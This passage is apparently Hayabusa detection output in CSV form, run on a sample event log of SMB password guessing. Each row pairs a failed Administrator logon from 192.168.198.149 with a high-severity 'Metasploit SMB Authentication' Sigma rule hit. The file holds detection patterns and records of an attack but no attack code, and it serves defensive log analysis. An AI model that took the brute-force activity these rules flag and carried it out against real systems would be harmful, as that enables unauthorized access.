Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xAuGcKYRcLe0z3bl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.397 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.436 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mmMi0edfBJ8KoJst : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.436 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlnoKbUb9jiqJD7t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.480 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hBeWGNkWTSp3nje8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.524 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.565 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2iwM6jPgNjZ3q5qb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.565 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.604 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xdkrA9Kwzero8eSk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.604 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Tb2ZvuJMxOfsxIT6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.652 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PBMBRPdATYpLNmyI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.697 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.740 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P1CKprAPSw4hgiBB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.740 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y8qtzwuGJfQG4XB7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.784 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.833 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: auOf2GwkoymLh4bC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.833 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2YcMYQ4sA2GfMwCS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.880 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.916 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YL1iM6WUtZIjIoTI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.916 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.959 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t7ruxdEGdeP3RLqF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.959 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZFXBpUJzafGYIggt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MC1K9nNLupH0NuSS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.161 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6rVfBLm10US9II19 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.220 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SBhAVHHtR7lZ1C3z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FKuUH8lMELYHibxF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.338 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UytgJLBtGRMCf3ar : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.338 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yno9399gUI2oBr4H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.420 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dbsqE98qy27Sp0UJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.456 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.495 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c8RjXtDnXvCXSJ2w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.495 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2EdRXJJ1RCl8n9bd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.532 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8tnwGNp2ncfcBlFL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.576 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iGKEloPpd6CtrSlg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.608 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LBvHz5iKl0dl97xj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.687 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A0FPIXCc5FlKMLaL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.687 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.725 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c7Li2NqHgSIetZka : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.725 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.764 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MuIRFiXBUqrJeMbx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.764 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.808 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zxJNU05FkPwhcYxj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.808 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TWifHaaBiypAGkKi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L9VByeO8vHGSOJK3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.888 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ns12T94itDDRxYxC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.932 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.969 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z8jplFaHgwrWpFY8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:05.969 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fQ9L626fGZQkNC25 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.045 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HfplQ16d7lsObzki : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.045 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c30ILHx5sYZCMflg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.084 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GMsJKiYmbgbr9wF0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.127 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.167 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q2hpQI6z68MVBzoW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.167 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iDgzJjXBnWDSVjdg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.208 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0XU5HdsnM0Lvpvq2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.290 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pjmtkv6JDb4s2WnR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.290 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I6mBM2WMWlKkQHZl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.328 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3jo7coI8uS8JCorc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.372 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.406 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1ao6QcPI3nzpNnHi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.406 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.444 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WkP8vstCEOH9wnUW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:06.444 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 